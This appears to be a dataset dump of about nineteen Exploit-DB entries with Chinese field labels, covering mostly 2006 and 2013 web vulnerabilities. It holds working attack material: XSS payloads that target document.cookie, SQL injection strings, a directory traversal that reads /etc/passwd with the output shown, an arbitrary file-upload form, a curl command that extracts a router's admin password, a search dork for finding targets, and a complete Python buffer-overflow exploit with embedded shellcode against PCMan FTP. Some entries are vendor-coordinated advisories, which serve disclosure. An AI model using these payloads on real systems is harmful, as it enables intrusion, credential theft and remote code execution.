QLWD/code_shield huggingface dataset:
标题: Battleaxe Software BttlxeForum 2.0 - 'Failure.asp' Cross-Site Scripting EDB-ID: 27310 CVE: 2006-0974 类型: WEBAPPS 平台: ASP 发布日期: 2006-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16821/info

Battleaxe Software's bttlxeForum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forums/failure.asp?err_txt=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/27310
标题: DCI-Taskeen 1.03 - 'basket.php' Multiple SQL Injections EDB-ID: 27313 CVE: 2006-0939 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16828/info

DCI-Taskeen is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/basket.php?action=addex&id=[SQL]
http://www.example.com/basket.php?action=[SQL]
http://www.example.com/basket.php?action=addr&id=[SQL] URL: https://www.exploit-db.com/exploits/27313
标题: NOCC 1.0 - 'no_mail.php?html_no_mail' Cross-Site Scripting EDB-ID: 27301 CVE: 2006-0894 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16793/info
  
NOCC Webmail is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit these issues to inject arbitrary PHP code and execute it in the context of the vulnerable webserver. An attacker can also exploit these issues to execute arbitrary HTML or script code in the browser of a victim user in the context of the webserver process. This may facilitate the theft of cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/[path]/html/no_mail.php?html_no_mail=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27301
标题: NOCC 1.0 - 'html_bottom_table.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27302 CVE: 2006-0894 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16793/info
   
NOCC Webmail is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker can exploit these issues to inject arbitrary PHP code and execute it in the context of the vulnerable webserver. An attacker can also exploit these issues to execute arbitrary HTML or script code in the browser of a victim user in the context of the webserver process. This may facilitate the theft of cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/[path]/html/html_bottom_table.php?page_line=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/html_bottom_table.php?prev=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/html_bottom_table.php?next=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27302
标题: DCI-Taskeen 1.03 - 'cat.php' Multiple SQL Injections EDB-ID: 27314 CVE: 2006-0939 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16828/info
 
DCI-Taskeen is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/cat.php?do=cat&page=1&id=[SQL]
http://www.example/cat.php?do=cat&page=[SQL] URL: https://www.exploit-db.com/exploits/27314
标题: Oi! Email Marketing System 3.0 - 'index.php' SQL Injection EDB-ID: 27303 CVE: 2006-0920 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16794/info

Oi! Email Marketing System is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Exploitation may also cause a denial of service condition.

go to http://www.example.com/oi/index.php

In this login page provide the following inputs:

Username : username' OR '

Password : ' OR ' URL: https://www.exploit-db.com/exploits/27303
标题: PHPX 3.5.9 - XCode Tag HTML Injection EDB-ID: 27305 CVE: 2006-0933 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16799/info

PHPX is prone to an HTML-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

PHPX version 3.5.9 is vulnerable; other versions may also be affected.

An example has been provided:

url=javascript:[code]]text[/url] URL: https://www.exploit-db.com/exploits/27305
标题: CubeCart 3.0.x - Arbitrary File Upload EDB-ID: 27304 CVE: 2006-0922 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16796/info

CubeCart is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

<form action="http://www.example.com/cubedir/admin/includes/rte/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFol
der=/"
method="POST" enctype="multipart/form-data">
File Upload<br>
<input id="txtFileUpload" type="file" name="NewFile">
<br>
<input type="submit" value="Upload">
</form> URL: https://www.exploit-db.com/exploits/27304
标题: NOCC 1.0 - 'error.php?html_error_occurred' Cross-Site Scripting EDB-ID: 27299 CVE: 2006-0894 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16793/info

NOCC Webmail is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to inject arbitrary PHP code and execute it in the context of the vulnerable webserver. An attacker can also exploit these issues to execute arbitrary HTML or script code in the browser of a victim user in the context of the webserver process. This may facilitate the theft of cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/[path]/html/error.php?html_error_occurred=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27299
标题: Cotonti 0.9.13 - SQL Injection EDB-ID: 27287 CVE: 2013-4789 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-02 漏洞利用脚本: Advisory ID: HTB23164
Product: Cotonti
Vendor: Cotonti Team
Vulnerable Version(s): 0.9.13 and probably prior
Tested Version: 0.9.13
Vendor Notification: July 10, 2013 
Vendor Patch: July 17, 2013 
Public Disclosure: July 31, 2013 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-4789
Risk Level: High 
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Cotonti, which can be exploited to perform SQL injection attacks against vulnerable application. A remote attacker can read, modify or delete data in application’s database and even gain complete control over the application under certain circumstances.


1) SQL Injection in Cotonti: CVE-2013-4789

The vulnerability exists due to insufficient filtration of the "c" HTTP GET parameter passed to "/index.php" script when HTTP GET "e" parameter is set to "rss". A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.


The following PoC code displays version of MySQL server:

http://[host]/index.php?e=rss&c=%27and%28select%201%20from%28select%20count%28*%29%2cconcat%28%28select%20concat%28version%28%29%29%29%2cfloor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29and%27

-----------------------------------------------------------------------------------------------

Solution:

Upgrade to Cotonti 0.9.14

More Information:
http://www.cotonti.com/news/announce/siena_0914_released
http://www.cotonti.com/forums?m=posts&q=7475
https://github.com/Cotonti/Cotonti/commit/45eec046391afabb676b62b9201da0cd530360b4

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23164 - https://www.htbridge.com/advisory/HTB23164 - SQL Injection in Cotonti.
[2] Cotonti - http://www.cotonti.com/ - Cotonti is a powerful open-source web development framework and content manager with a focus on security, speed and flexibility.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. URL: https://www.exploit-db.com/exploits/27287
标题: Web Calendar Pro - 'Dropbase.php' SQL Injection EDB-ID: 27298 CVE: 2006-0835 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16789/info

Web Calendar Pro is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Exploitation may also cause a denial-of-service condition.

http://www.example.com/pathtocalendar/dropbase.php?tabls=' or 1=1 -- URL: https://www.exploit-db.com/exploits/27298
标题: Oracle Hyperion 11 - Directory Traversal EDB-ID: 27291 CVE: 2013-3803 类型: WEBAPPS 平台: WINDOWS 发布日期: 2013-08-02 漏洞利用脚本: =======
Summary
=======
Name: Oracle Hyperion 11 - Directory Traversal
Release Date: 30 July 2013
Reference: NGS00434
Discoverer: Richard Warren <richard.warren@nccgroup.com>
Vendor: Oracle
Vendor Reference: S0318807
Systems Affected: Oracle Hyperion 11.1.1.3, 11.1.1.4.107 and earlier, 11.1.2.1.129 and earlier, and 11.1.2.2.305 and earlier
Risk: High
Status: Published

========
TimeLine
========
Discovered: 20 November 2012
Released: 20 November 2012
Approved: 20 November 2012
Reported: 20 November 2012
Fixed: 16 July 2013
Published: 30 July 2013

===========
Description
===========
Product: Oracle
Application: Hyperion
Version: 11.x

Vulnerability
-------------

The application was found to be vulnerable to a directory traversal attack.
The following URL resulted in directory transversal.
http://localhost:19000/raframework/ihtml/GetResource?DocUUID=00000122ad09cf47-0000-d521-0aeaf211&DocInstanceID=1&ResourceName=../../../../../../../../../../../../../../../../LFI_HERE

=================
Technical Details
=================
Exploitation
------------

The following request/response was observed:

GET
/raframework/ihtml/GetResource?DocUUID=00000122ad09cf47-0000-d521-0aeaf211&DocInstanceID=1&ResourceName=../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 12 Nov 2012 15:28:10 GMT
Server: Oracle-Application-Server-11g
Cache-Control: no-cache
Pragma: no-cache
Expires: Mon, 1 Jan 1990 00:00:00 GMT
Last-Modified: Mon, 12 Nov 2012 15:28:10 GMT
X-ORACLE-DMS-ECID: 004n^rmuJTjAtH^5lV5EiZ0004FS0058zX
X-Powered-By: Servlet/2.5 JSP/2.1
Connection: close
Content-Type: text/plain
Content-Language: en

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
--SNIP--

===============
Fix Information
===============
Fixed in Oracle CPU July 2013:
http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html
Assigned CVE-2013-3803


NCC Group Research
http://www.nccgroup.com/research


For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br>
This email message has been delivered safely and archived online by Mimecast.
</a> URL: https://www.exploit-db.com/exploits/27291
标题: Western Digital My Net Wireless Routers - Password Disclosure EDB-ID: 27288 CVE: 2013-5006 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-08-02 漏洞利用脚本: Vulnerable Systems:
Western Digital My Net Series Wireless Routers:
N600  Firmware 1.03.12
N600  Firmware 1.04.16

N750  Firmware 1.03.12
N750  Firmware 1.04.16

N900  Firmware 1.05.12
N900  Firmware 1.06.18
N900  Firmware 1.06.28

N900C Firmware 1.05.12
N900C Firmware 1.06.18
N900C Firmware 1.06.28

CVE 2013-5006
CWE-256 Plaintext Storage of a Password
CVSS Base Score    4.3
CVSS Impact Subscore     2.9
Cvss Expoit Score   8.6
(AV:N/AC:M/Au:N/C:P/I:N/A:N/E:POC/RL:U/RC:UR/CDP:H/TD:H/CR:H/IR:H/AR:H)

Proof of concept:
curl -s http://<IP>:8080/main_internet.php? | egrep -i 'var pass'

which will give an output similar to this ex:
var pass="";

Details:
By sending a specially crafted command to the affected routers, the clear text password for the admin account can be extracted, with no authentication required to access the page where it is stored.

During the initial setup of these four routers with the affected firmware, the admin password is stored in clear text on the main_internet.php? source code page as the value for 'var pass'. For this bug to exploitable from a remote network attack, UPnP and remote administrative access (port 8080 is set by default) must be enabled.

The vendor has not responded to any inquiries concerning the bug.

External Sources:
OSVDB - http://www.osvdb.org/show/osvdb/95519
CVE-Mitre - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5006
IBM xforce - http://xforce.iss.net/xforce/xfdb/85903
Bugtraq/SecList - http://www.securityfocus.com/archive/1/527433
Security Database - http://www.security-database.com/detail.php?alert=CVE-2013-5006

Vendor's Network Router Product Pages:
http://www.wdc.com/en/products/network/routers/
http://support.wdc.com/download/notes/My_Net_N900C_FW_Release_Notes_1.07.16.pdf?v=9564
http://support.wdc.com/download/notes/My_Net_N900_FW_Release_Notes_1.07.16.pdf?v=7436
http://support.wdc.com/download/notes/My_Net_N750_FW_Release_Notes_1_04_16.pdf?v=6879
http://support.wdc.com/download/notes/My_Net_N600_FW_Release_Notes_1_04_16.pdf?v=4950

Additional Notes/Fixes/Workarounds:

Firmware notes: N900 and N900C with firmware 1.07.16 released on 05/2013 fixes the bug. It is advised that users with the N900 or N900C upgrade to 1.07.16.  Earlier firmware releases of 1.02.02, 1.03.11 and 1.04.08 are unaffected.

N600 and N750 with the earlier firmware 1.01.04 and 1.01.20 are unaffected by this bug. Firmware 1.02.08 was not tested. The 'workaround' for these two model routers, which will only stop network side attacks, is for the end user to disable remote administrative access capabilities.

Discovered - 07-02-2013
Updated - 07-31-2013
Research Contact - K Lovett
Affiliation - SUSnet URL: https://www.exploit-db.com/exploits/27288
标题: NOCC 1.0 - 'filter_prefs.php?html_filter_select' Cross-Site Scripting EDB-ID: 27300 CVE: 2006-0894 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16793/info
 
NOCC Webmail is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to inject arbitrary PHP code and execute it in the context of the vulnerable webserver. An attacker can also exploit these issues to execute arbitrary HTML or script code in the browser of a victim user in the context of the webserver process. This may facilitate the theft of cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/[path]/html/filter_prefs.php?html_filter_select=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27300
标题: Dragonfly CMS 9.0.6.1 Downloads Module - 'c' Cross-Site Scripting EDB-ID: 27268 CVE: 2006-1033 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16784/info
     
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=Downloads&c=1"><script>alert()</script> URL: https://www.exploit-db.com/exploits/27268
标题: PCMan FTP Server 2.07 - 'PASS' Remote Buffer Overflow EDB-ID: 27277 CVE: 2013-4730 类型: REMOTE 平台: WINDOWS 发布日期: 2013-08-02 漏洞利用脚本: #!/usr/bin/python2.7
# -*- coding: utf-8 -*-



"""
PCMAN FTPD 2.07 PASS Command Buffer Overflow
Author: Ottomatik
Date: 2013-07-31
Software : PCMAN FTPD
Version : 2.07
Tested On: Windows 7 SP1 - French;
Description:
    * The PASS Command is vulnerable to a buffer overflow;
    * Other commads may be vulnerable;
"""

# Modules import;

import socket

def main() :
    """
    Main function;
    """
    buf = "PASS "
    buf += "A" * 6102 # JUNK
    # 0x75670253
    buf += "\x53\x02\x67\x75" # @ CALL ESP Kernel32.dll
    buf += "\x90" * 40 # NOPs
    
    # ShellCode : msfpayload windows_exec calc.exe, bad chars = 00,0A,0C,0D

    buf +=("\xdd\xc5\xd9\x74\x24\xf4\x5a\x31\xc9\xb8\xd1\x96\xc1\xcb\xb1"
"\x33\x31\x42\x17\x83\xc2\x04\x03\x93\x85\x23\x3e\xef\x42\x2a"
"\xc1\x0f\x93\x4d\x4b\xea\xa2\x5f\x2f\x7f\x96\x6f\x3b\x2d\x1b"
"\x1b\x69\xc5\xa8\x69\xa6\xea\x19\xc7\x90\xc5\x9a\xe9\x1c\x89"
"\x59\x6b\xe1\xd3\x8d\x4b\xd8\x1c\xc0\x8a\x1d\x40\x2b\xde\xf6"
"\x0f\x9e\xcf\x73\x4d\x23\xf1\x53\xda\x1b\x89\xd6\x1c\xef\x23"
"\xd8\x4c\x40\x3f\x92\x74\xea\x67\x03\x85\x3f\x74\x7f\xcc\x34"
"\x4f\x0b\xcf\x9c\x81\xf4\xfe\xe0\x4e\xcb\xcf\xec\x8f\x0b\xf7"
"\x0e\xfa\x67\x04\xb2\xfd\xb3\x77\x68\x8b\x21\xdf\xfb\x2b\x82"
"\xde\x28\xad\x41\xec\x85\xb9\x0e\xf0\x18\x6d\x25\x0c\x90\x90"
"\xea\x85\xe2\xb6\x2e\xce\xb1\xd7\x77\xaa\x14\xe7\x68\x12\xc8"
"\x4d\xe2\xb0\x1d\xf7\xa9\xde\xe0\x75\xd4\xa7\xe3\x85\xd7\x87"
"\x8b\xb4\x5c\x48\xcb\x48\xb7\x2d\x23\x03\x9a\x07\xac\xca\x4e"
"\x1a\xb1\xec\xa4\x58\xcc\x6e\x4d\x20\x2b\x6e\x24\x25\x77\x28"
"\xd4\x57\xe8\xdd\xda\xc4\x09\xf4\xb8\x8b\x99\x94\x10\x2e\x1a"
"\x3e\x6d")
    buf += "\r\n"
    
    clt_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    clt_socket.connect(("127.0.0.1", 21))
    print clt_socket.recv(2048)
    clt_socket.send("USER anonymous\r\n")
    print clt_socket.recv(2048)
    clt_socket.send(buf)
    print clt_socket.recv(2048)
    clt_socket.close()
    


if __name__ == "__main__" :
    main() URL: https://www.exploit-db.com/exploits/27277
标题: Ginkgo CMS - 'index.php?rang' SQL Injection EDB-ID: 27274 CVE: 2013-5318 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-02 漏洞利用脚本: __               ___   ________   __                       __           ____    __  __     
/\ \             /\_ \ /\_____  \ /\ \                     /\ \         /\  _`\ /\ \/\ \    
\ \ \      __  __\//\ \\/____//'/'\ \ \___      __      ___\ \ \/'\     \ \ \L\ \ \ \ \ \   
 \ \ \  __/\ \/\ \ \ \ \    //'/'  \ \  _ `\  /'__`\   /'___\ \ , <      \ \ ,  /\ \ \ \ \  
  \ \ \L\ \ \ \_\ \ \_\ \_ //'/'___ \ \ \ \ \/\ \L\.\_/\ \__/\ \ \\`\   __\ \ \\ \\ \ \_\ \ 
   \ \____/\ \____/ /\____\/\_______\\ \_\ \_\ \__/.\_\ \____\\ \_\ \_\/\_\\ \_\ \_\ \_____\
    \/___/  \/___/  \/____/\/_______/ \/_/\/_/\/__/\/_/\/____/ \/_/\/_/\/_/ \/_/\/ /\/_____/

############################################################################################
# Exploit Title   : Ginkgo CMS SQL injection                                               #
# Date            : 31 July 2013                                                           #      
# Exploit Author  : Raw-x                                                                  # 
# Site            : http://www.ginkgo-cms.com/                                             #   
# Tested on       : Linux                                                                  #    
############################################################################################

Dork: 

~~~ inurl:"index.php?rang=" intext:"Ginkgo CMS" ~~~

Examples:

http://server/index.php?rang=5'/**/div/**/0/**/UNION/**/SELECT/**/1,2,3,4,5-- -


############################################################################################
#                       Thanks to:   lulzhack.ru | zentrixplus.net                         #
############################################################################################ URL: https://www.exploit-db.com/exploits/27274
标题: Dragonfly CMS 9.0.6.1 Coppermine Module - 'album' Cross-Site Scripting EDB-ID: 27269 CVE: 2006-1033 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16784/info
      
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=coppermine&file=thumbnails&album=1"><script>alert()</script> URL: https://www.exploit-db.com/exploits/27269